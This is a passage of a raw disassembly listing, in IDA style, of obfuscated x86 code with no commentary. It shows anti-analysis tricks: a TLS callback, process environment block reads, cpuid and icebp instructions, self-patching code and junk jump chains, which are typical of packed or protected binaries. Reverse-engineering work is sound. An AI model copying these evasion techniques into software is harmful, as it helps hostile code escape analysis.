eax, sub_42AE82 mov [ebp-4], eax call sub_427259 push offset sub_428336 jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_42D056 ; =============== S U B R O U T I N E ======================================= sub_42DE3A proc near ; CODE XREF: _0182ofla:0042525Ap ; _0182ofla:00429A86j ; FUNCTION CHUNK AT 00424C41 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428E1E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C6C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C78A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E0D6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E34B SIZE 00000011 BYTES mov [esp+0], eax pop eax mov dword ptr [ebp-4], 1 push 0F97604E7h pop eax add eax, 689FB19h or eax, eax jz loc_42A79E jmp loc_42C78A sub_42DE3A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42DE5E: ; CODE XREF: sub_428D63:loc_42862Fj jz loc_42CC6F ; END OF FUNCTION CHUNK FOR sub_428D63 ; START OF FUNCTION CHUNK FOR sub_425499 loc_42DE64: ; CODE XREF: sub_425499+Dj jmp loc_42741A ; END OF FUNCTION CHUNK FOR sub_425499 ; --------------------------------------------------------------------------- pushf jle loc_423008 and ecx, 0C02BD3CFh sbb ebp, esi jmp loc_42CC6F ; --------------------------------------------------------------------------- test eax, eax jl loc_426069 jmp loc_42AA81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A4C6 loc_42DE8A: ; CODE XREF: sub_42A4C6-51D5j push 0CAE3CB80h sub [esp+8+var_8], 1AE3D3BBh push edi pushf push 20052433h pop edi loc_42DE9E: ; CODE XREF: _0182ofla:004275CDj and edi, 75DC39EFh add edi, 0DFFBDFDFh jmp loc_42CFC7 ; END OF FUNCTION CHUNK FOR sub_42A4C6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42DEB0: ; CODE XREF: _0182ofla:0042C3B6j jmp loc_42E959 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42DEB5: ; CODE XREF: sub_428A39+1C65j jmp nullsub_157 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_42DEBA: ; CODE XREF: sub_4295D6-FADj jmp loc_423799 ; END OF FUNCTION CHUNK FOR sub_4295D6 ; =============== S U B R O U T I N E ======================================= sub_42DEBF proc near ; CODE XREF: sub_42D81Ep push large dword ptr fs:0 mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_425FF4 sub_42DEBF endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_9 mov byte ptr [eax], 0C3h jmp loc_428820 ; --------------------------------------------------------------------------- test al, al jz loc_42DEFF call sub_42E2EE retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42DEF5: ; CODE XREF: sub_42B15E+225Bj jmp loc_42D68A ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42DEFA: ; CODE XREF: sub_428D63:loc_426216j jmp loc_4263C4 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- loc_42DEFF: ; CODE XREF: _0182ofla:0042DEE9j call sub_42C718 jmp loc_429AF4 ; --------------------------------------------------------------------------- loc_42DF09: ; DATA XREF: sub_427D2B+7o dec dword ptr [ebp-18h] jnz loc_425C11 jmp loc_428132 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E1DA loc_42DF17: ; CODE XREF: sub_42E1DA:loc_42B2F5j xchg eax, [esp-8+arg_4] mov ebx, eax pop eax pop ecx jmp loc_428DB2 ; END OF FUNCTION CHUNK FOR sub_42E1DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4273AD loc_42DF23: ; CODE XREF: sub_4273AD+3j add eax, edx ; END OF FUNCTION CHUNK FOR sub_4273AD ; START OF FUNCTION CHUNK FOR sub_423AF2 loc_42DF25: ; CODE XREF: sub_423AF2:loc_4265F8j mov eax, 1B078F84h cmp edx, ecx call sub_42CD44 loc_42DF31: ; DATA XREF: sub_423F73+6o mov esp, ebp mov ebp, offset sub_42DF41 loc_42DF38: ; CODE XREF: _0182ofla:loc_42A758j xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_423AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B3C2 loc_42DF3C: ; CODE XREF: sub_42B3C2-1531j jmp loc_4233B0 ; END OF FUNCTION CHUNK FOR sub_42B3C2 ; =============== S U B R O U T I N E ======================================= sub_42DF41 proc near ; DATA XREF: sub_423AF2+A441o ; FUNCTION CHUNK AT 004254E7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00425B5B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004262FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428995 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0042AF61 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042D45A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2A4 SIZE 00000005 BYTES mov eax, ds:dword_42D104 or eax, eax jnz loc_428995 jmp loc_4262FC sub_42DF41 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42DF54: ; CODE XREF: sub_42798F+D4j mov [ebp-1Ch], eax push offset sub_4284E7 loc_42DF5C: ; CODE XREF: _0182ofla:loc_426AF5j jmp loc_424C70 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_42DF61 proc near ; CODE XREF: _0182ofla:00429620j ; _0182ofla:loc_42A116p mov [esp+0], eax pop eax push ebp call sub_42A0B2 loc_42DF6B: ; DATA XREF: sub_428A39:loc_42C2A4o mov edx, 0BE8CE1B7h call sub_42D71D mov [ebp-4], eax call sub_42537E not esi jmp sub_426319 sub_42DF61 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E35C loc_42DF84: ; CODE XREF: sub_42E35C+7j push esi push 34AA8C20h pop esi and esi, 0CF5A7AC4h add esi, 0FC38336Eh loc_42DF97: ; CODE XREF: _0182ofla:00428DA8j jmp loc_423B66 ; END OF FUNCTION CHUNK FOR sub_42E35C ; --------------------------------------------------------------------------- loc_42DF9C: ; DATA XREF: sub_42DFFB:loc_42E005o jnb loc_425BBD mov eax, ds:dword_423190 mov edx, [ebp-4] mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] call sub_423B43 ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_42DFB6: ; CODE XREF: sub_42EAB7-59BFj jmp nullsub_187 ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DFBB proc near ; CODE XREF: TlsCallback_0p var_6 = byte ptr -6 xchg ebp, [esp+0] mov ebp, [esp+0] mov ebp, esp call sub_429D83 or ebp, 8E99DFC7h jmp sub_429D1C sub_42DFBB endp ; --------------------------------------------------------------------------- mov [ebp-4], eax push offset sub_4270B3 jmp loc_42D5AE ; --------------------------------------------------------------------------- sub esi, ebp jmp sub_4268FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EA15 loc_42DFE7: ; CODE XREF: sub_42EA15:loc_427148j xor eax, 69BEB5C2h add eax, 0A5E62EE7h xchg eax, [esp+0Ch+var_C] jmp sub_425879 ; END OF FUNCTION CHUNK FOR sub_42EA15 ; =============== S U B R O U T I N E ======================================= sub_42DFFB proc near ; DATA XREF: _0182ofla:0042E875o mov ds:dword_424C1C, eax xor eax, eax mov [ebp-4], eax loc_42E005: ; CODE XREF: sub_427DFA:loc_426621j ; sub_423B43:loc_42D2FEj push offset loc_42DF9C jmp nullsub_205 sub_42DFFB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E6BF loc_42E00F: ; CODE XREF: sub_42E6BF+2E1j jnz loc_42DA8C jmp loc_42D374 ; END OF FUNCTION CHUNK FOR sub_42E6BF ; --------------------------------------------------------------------------- loc_42E01A: ; CODE XREF: _0182ofla:00428BA8j rol ebx, 14h ; =============== S U B R O U T I N E ======================================= sub_42E01D proc near ; CODE XREF: sub_42A915:loc_42CC1Fp mov [esp+0], eax pop eax call sub_42AB27 retn sub_42E01D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42E027: ; CODE XREF: _0182ofla:0042992Bj jmp loc_42848C ; --------------------------------------------------------------------------- loc_42E02C: ; CODE XREF: _0182ofla:loc_4277B2j call sub_423FCD test al, al jmp loc_425DBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42E038: ; CODE XREF: sub_42D056:loc_426678j ; DATA XREF: sub_425499-1711o call sub_425E4D test eax, eax jnz loc_428908 jmp loc_424042 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_42E04A: ; CODE XREF: sub_423861+3B09j xor eax, eax loc_42E04C: ; CODE XREF: sub_423861+6A8Ej mov [ebp+var_5], al mov al, [ebp+var_5] pop ecx jmp loc_429870 ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_42E058: ; CODE XREF: sub_42A420-6218j jz loc_42C49A jmp loc_42C865 ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_42E063: ; CODE XREF: sub_42326C+8497j call sub_428729 sbb edi, ebp jmp sub_4277FA ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- locret_42E06F: ; CODE XREF: _0182ofla:loc_424C08j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BED loc_42E070: ; CODE XREF: sub_425BED+1C5Bj jmp sub_42CC99 ; END OF FUNCTION CHUNK FOR sub_425BED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42E075: ; CODE XREF: sub_4253F4+1847j jmp loc_42B2D9 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426B01 loc_42E07A: ; CODE XREF: sub_426B01-FABj jmp sub_427259 ; END OF FUNCTION CHUNK FOR sub_426B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42E07F: ; CODE XREF: sub_423A2A-47Bj jmp loc_4247C6 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_42E084: ; CODE XREF: sub_4267F8:loc_423CF5j mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_42DCC6 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp pop ebp jmp nullsub_162 ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_42E09E: ; CODE XREF: sub_423FE2:loc_42358Dj add edx, 0FC6F7EE2h mov edx, [edx] xchg edx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- loc_42E0AA: ; CODE XREF: _0182ofla:00425022j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_42C95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_42E0C5: ; CODE XREF: sub_42B1F9-2D7Ej jnz loc_42543A jmp loc_42B3D2 ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- db 0C3h ; à ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2A loc_42E0D1: ; CODE XREF: sub_42DD2A+Cj jmp loc_425D0E ; END OF FUNCTION CHUNK FOR sub_42DD2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE3A loc_42E0D6: ; CODE XREF: sub_42DE3A:loc_428E1Ej jnp loc_423398 jmp loc_42E34B ; END OF FUNCTION CHUNK FOR sub_42DE3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42E0E1: ; CODE XREF: sub_42B669:loc_423ADAj jnz loc_425520 jmp loc_42E371 ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290FD loc_42E0EC: ; CODE XREF: sub_4290FD:loc_4236C0j mov ebx, ebp pop ebp and ebx, 6B951FF5h rol ebx, 0Dh push offset sub_42C77B jmp nullsub_163 ; END OF FUNCTION CHUNK FOR sub_4290FD ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42E102 proc near ; CODE XREF: sub_429A64:loc_42B3BDj retn sub_42E102 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C7D loc_42E103: ; CODE XREF: sub_428C7D-1407j jmp loc_428BDA ; END OF FUNCTION CHUNK FOR sub_428C7D ; --------------------------------------------------------------------------- call sub_42C979 ; START OF FUNCTION CHUNK FOR sub_429C1A loc_42E10D: ; CODE XREF: sub_429C1A:loc_424C7Fj lea eax, [ebp-20h] push eax call sub_423395 loc_42E116: ; CODE XREF: _0182ofla:00429749j jmp nullsub_164 ; END OF FUNCTION CHUNK FOR sub_429C1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42E11B: ; CODE XREF: sub_428A39-52B8j xor [esi], ebx add [esi], ecx xor [esi], edx jmp loc_42D629 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42E126: ; CODE XREF: sub_4253F4+37DBj mov eax, 1 xor edx, edx cpuid and eax, 0FFFh add [esi], eax jmp loc_423696 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; =============== S U B R O U T I N E ======================================= sub_42E13B proc near ; DATA XREF: _0182ofla:00424571o ; FUNCTION CHUNK AT 004285DF SIZE 00000005 BYTES ror eax, 12h mov ds:dword_424BF8, eax jmp loc_4285DF sub_42E13B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_42E149: ; CODE XREF: sub_42CA29j push offset sub_426A7F jmp loc_425413 ; END OF FUNCTION CHUNK FOR sub_42CA29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_42E153: ; CODE XREF: sub_428AC9+4461j ; sub_428AC9:loc_42EB23j push 6C341CC4h xor [esp+8+var_8], 6C341CC4h push eax pushf push 34DE2267h pop eax and eax, 344D7AA6h xor eax, 344C2226h jmp loc_4264B3 ; END OF FUNCTION CHUNK FOR sub_428AC9 ; =============== S U B R O U T I N E ======================================= sub_42E178 proc near ; DATA XREF: sub_42798F:loc_4240EFo ; FUNCTION CHUNK AT 00427834 SIZE 00000007 BYTES pushf call sub_423AF2 loc_42E17E: ; CODE XREF: sub_425BED+8E6Fj jmp loc_427834 sub_42E178 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42E184: ; CODE XREF: sub_428D63+4E09j jmp loc_42D447 ; --------------------------------------------------------------------------- loc_42E189: ; CODE XREF: sub_428D63+23C4j jmp loc_4299FF ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_42E18E proc near ; CODE XREF: startj ; FUNCTION CHUNK AT 00423D1E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B49 SIZE 0000000A BYTES call nullsub_2 push eax push 277EDF67h pop eax xor eax, 86027DA4h or eax, 95BF21D7h jmp loc_423D1E sub_42E18E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D19B loc_42E1AB: ; CODE XREF: sub_42D19B-244Aj mov ebp, [eax] add eax, 4 push offset sub_42445E jmp nullsub_166 ; END OF FUNCTION CHUNK FOR sub_42D19B ; --------------------------------------------------------------------------- loc_42E1BA: ; CODE XREF: _0182ofla:0042D971j mov edx, [eax] loc_42E1BC: ; CODE XREF: _0182ofla:loc_424249j mov eax, large fs:30h call sub_428599 ; =============== S U B R O U T I N E ======================================= sub_42E1C8 proc near ; CODE XREF: sub_42719D+BE7p ; _0182ofla:0042CFC2j ; FUNCTION CHUNK AT 004257A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042621B SIZE 0000000E BYTES mov [esp+0], ebx pop ebx push 92A6EA59h pop esi rol esi, 18h jmp loc_4257A8 sub_42E1C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E1DA proc near ; CODE XREF: sub_4273AD+12p ; _0182ofla:0042742Aj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042822F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00428DB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429BE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B2F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DF17 SIZE 0000000C BYTES mov [esp+0], eax pop eax push ecx push 3599CFA3h pop ecx add ecx, 0D195A290h jmp loc_429BE2 sub_42E1DA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E1F0 proc near ; CODE XREF: _0182ofla:00423FB7j ; _0182ofla:00425462p ; FUNCTION CHUNK AT 00423565 SIZE 0000000A BYTES mov [esp+0], ebx pop ebx pushf mov [esp+0], eax jmp loc_423565 sub_42E1F0 endp ; --------------------------------------------------------------------------- loc_42E1FD: ; CODE XREF: _0182ofla:00427220j or esi, eax ; START OF FUNCTION CHUNK FOR sub_4242FD loc_42E1FF: ; CODE XREF: sub_4242FD:loc_42720Aj add edi, 0AEF1E910h push offset sub_42C95B jmp nullsub_238 ; END OF FUNCTION CHUNK FOR sub_4242FD ; --------------------------------------------------------------------------- popf ror esi, 7 jmp sub_42E403 ; =============== S U B R O U T I N E ======================================= sub_42E218 proc near ; CODE XREF: sub_424BCB-CB1p ; sub_425063:loc_428FA7p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423691 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004242E2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424B9C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424DA2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042568D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425C32 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00425CE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F19 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280E1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428C17 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A897 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C841 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042CC9F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042DBE9 SIZE 00000007 BYTES jz loc_425C32 push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42D425 sub_42E218 endp ; --------------------------------------------------------------------------- pop ecx jmp sub_4233EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_42E22F: ; CODE XREF: sub_42C379:loc_429DE8j mov eax, [ebp-10h] mov eax, [eax+60h] ; END OF FUNCTION CHUNK FOR sub_42C379 ; START OF FUNCTION CHUNK FOR sub_42448C loc_42E235: ; CODE XREF: sub_42448C+5096j add eax, [ebp+var_4] mov [ebp+var_14], eax mov eax, [ebp+var_14] push offset sub_428781 jmp nullsub_167 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429242 loc_42E248: ; CODE XREF: sub_429242:loc_42924Ej db 36h icebp jmp loc_42B159 ; END OF FUNCTION CHUNK FOR sub_429242 ; --------------------------------------------------------------------------- mov esi, 0E9774B90h jmp loc_423D9C ; --------------------------------------------------------------------------- sub edx, ebp adc edx, ebx jmp sub_429DCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42561D loc_42E262: ; CODE XREF: sub_42561D:loc_42B592j xor [ebp-8], eax inc dword ptr [ebp-0Ch] jmp loc_42766D ; END OF FUNCTION CHUNK FOR sub_42561D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C2F0 loc_42E26D: ; CODE XREF: sub_4289E4+38A5j ; sub_42C2F0+4j inc dword ptr [ebp-8] inc dword ptr [ebp-0Ch] jmp loc_4297E8 ; END OF FUNCTION CHUNK FOR sub_42C2F0 ; =============== S U B R O U T I N E ======================================= sub_42E278 proc near ; CODE XREF: _0182ofla:00426B44j ; sub_42798F:loc_42C36Dp mov [esp+0], ecx pop ecx call sub_42E282 retn sub_42E278 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E282 proc near ; CODE XREF: sub_42D02D-5731p ; sub_42E278+4p ; FUNCTION CHUNK AT 00427786 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428028 SIZE 00000019 BYTES jno loc_428028 mov eax, (offset loc_42D1F3+1) call sub_429AA3 test al, al jmp loc_427563 sub_42E282 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D3 loc_42E299: ; CODE XREF: sub_4243D3:loc_42C1DBj jg loc_426C28 jmp loc_42B2B4 ; END OF FUNCTION CHUNK FOR sub_4243D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DF41 loc_42E2A4: ; CODE XREF: sub_42DF41-5587j jmp loc_425A2D ; END OF FUNCTION CHUNK FOR sub_42DF41 ; --------------------------------------------------------------------------- loc_42E2A9: ; CODE XREF: _0182ofla:loc_42C1B9j push offset sub_4283EF jmp locret_429916 ; =============== S U B R O U T I N E ======================================= sub_42E2B3 proc near ; CODE XREF: sub_42B15E:loc_42353Fp ; _0182ofla:004266BCj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042A6D0 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add eax, 0BE97EA69h xchg eax, [esp-4+arg_0] jmp loc_42A6D0 sub_42E2B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427906 loc_42E2C5: ; CODE XREF: sub_427906:loc_42DB61j div dword ptr [ebp-8] push ebx push 0DBACB0FEh pop ebx add ebx, 76A4EFE2h add ebx, ebp add ebx, 0ADAE5F14h jmp loc_423CB3 ; END OF FUNCTION CHUNK FOR sub_427906 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C565 loc_42E2E3: ; CODE XREF: sub_42C565+15j jmp loc_425E1D ; END OF FUNCTION CHUNK FOR sub_42C565 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42E2E9: ; CODE XREF: sub_423A2A+5458j jmp loc_428403 ; END OF FUNCTION CHUNK FOR sub_423A2A ; =============== S U B R O U T I N E ======================================= sub_42E2EE proc near ; CODE XREF: sub_425DA5+588Bj ; _0182ofla:0042DEEFp ; FUNCTION CHUNK AT 00429F66 SIZE 00000006 BYTES call sub_42A181 call sub_429BEC sbb edx, eax jmp loc_429F66 sub_42E2EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ECFA loc_42E2FF: ; CODE XREF: sub_42ECFA:loc_42ECFFj call sub_426455 ; END OF FUNCTION CHUNK FOR sub_42ECFA ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42E304: ; CODE XREF: sub_428F20:loc_428CE0j mov edx, 0E5254649h loc_42E309: ; CODE XREF: _0182ofla:loc_42402Aj call sub_42B097 loc_42E30E: ; CODE XREF: _0182ofla:loc_42B54Dj mov ds:dword_427A24, eax jmp loc_424F21 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- or ecx, ebp jmp loc_42B4FE ; --------------------------------------------------------------------------- locret_42E31F: ; CODE XREF: _0182ofla:loc_42597Bj retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E320 proc near ; CODE XREF: sub_42A0B2:loc_42AD56p push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42B480 sub_42E320 endp ; --------------------------------------------------------------------------- loc_42E32B: ; CODE XREF: _0182ofla:00426FD7j jnz loc_429229 jmp loc_4263DF ; --------------------------------------------------------------------------- popf jmp sub_42CC59 ; --------------------------------------------------------------------------- loc_42E33C: ; DATA XREF: sub_42C5EF-4451o mov [esp], edx push ecx push ebx push offset sub_4273AD jmp locret_42CA82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE3A loc_42E34B: ; CODE XREF: sub_42DE3A+2A2j pop esi loc_42E34C: ; CODE XREF: sub_42DE3A:loc_424C41j push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push offset loc_426A26 jmp loc_42C6C2 ; END OF FUNCTION CHUNK FOR sub_42DE3A ; =============== S U B R O U T I N E ======================================= sub_42E35C proc near ; CODE XREF: _0182ofla:0042880Ap ; _0182ofla:00429903j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423B66 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DF84 SIZE 00000018 BYTES mov [esp+0], eax pop eax mov eax, [eax] push eax jmp loc_42DF84 sub_42E35C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42E368: ; CODE XREF: sub_4298DD-5A4Fj ; _0182ofla:loc_42E868j xchg eax, [esp+0] jmp sub_4295D6 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42E371: ; CODE XREF: sub_42B669+2A7Ej jmp loc_42D8B9 ; END OF FUNCTION CHUNK FOR sub_42B669 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E376 proc near ; CODE XREF: sub_42D70E+DA9j ; FUNCTION CHUNK AT 00427CC2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042EA42 SIZE 00000005 BYTES push ebp mov ebp, esp xchg ecx, edi push edi xchg ecx, edi mov esp, ebp jmp loc_42EA42 sub_42E376 endp ; --------------------------------------------------------------------------- loc_42E385: ; CODE XREF: _0182ofla:loc_428814j add ebx, 0E3CBFAC5h push offset sub_425549 jmp loc_42E4BD ; =============== S U B R O U T I N E ======================================= sub_42E395 proc near ; CODE XREF: sub_42E825:loc_426E15p ; _0182ofla:0042793Cj ; FUNCTION CHUNK AT 00425881 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004274DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429B47 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00429C0D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042B384 SIZE 00000005 BYTES mov [esp+0], edi pop edi call sub_42C197 push esi push 639D8C89h loc_42E3A4: ; CODE XREF: _0182ofla:loc_42EAEAj pop esi add esi, 0EF0E3969h xor esi, 1062D7ACh jmp loc_42B384 sub_42E395 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB00 loc_42E3B6: ; CODE XREF: sub_42CB00-1F96j push 9773DBE8h or ebx, 0A64E38C4h push 0F8E19F66h jmp loc_42EB91 ; END OF FUNCTION CHUNK FOR sub_42CB00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42E3CB: ; CODE XREF: sub_424184+B79j sbb ebx, esi sub ebx, 99E44E45h mov ecx, [esi] jg loc_426286 loc_42E3DB: ; CODE XREF: sub_424184:loc_42691Fj xor eax, eax call sub_428245 ; END OF FUNCTION CHUNK FOR sub_424184 ; START OF FUNCTION CHUNK FOR sub_42B5CC loc_42E3E2: ; CODE XREF: sub_42B5CC:loc_42A08Dj add ecx, 0BE46CDFCh mov ecx, [ecx] xchg ecx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42B5CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_42E3EE: ; CODE XREF: sub_425C89:loc_42CEF0j xchg ecx, ebx mov esp, ebp xchg ecx, [esp+0] mov ebp, ecx sbb ecx, 4341EB4Fh jmp loc_427159 ; END OF FUNCTION CHUNK FOR sub_425C89 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42E403 proc near ; CODE XREF: sub_427ED1:loc_4262F7p ; _0182ofla:0042E213j mov [esp+0], eax pop eax xor eax, esi sub_42E403 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424762 loc_42E409: ; CODE XREF: sub_424762+6j add eax, edi add al, ah call sub_42C553 locret_42E412: ; 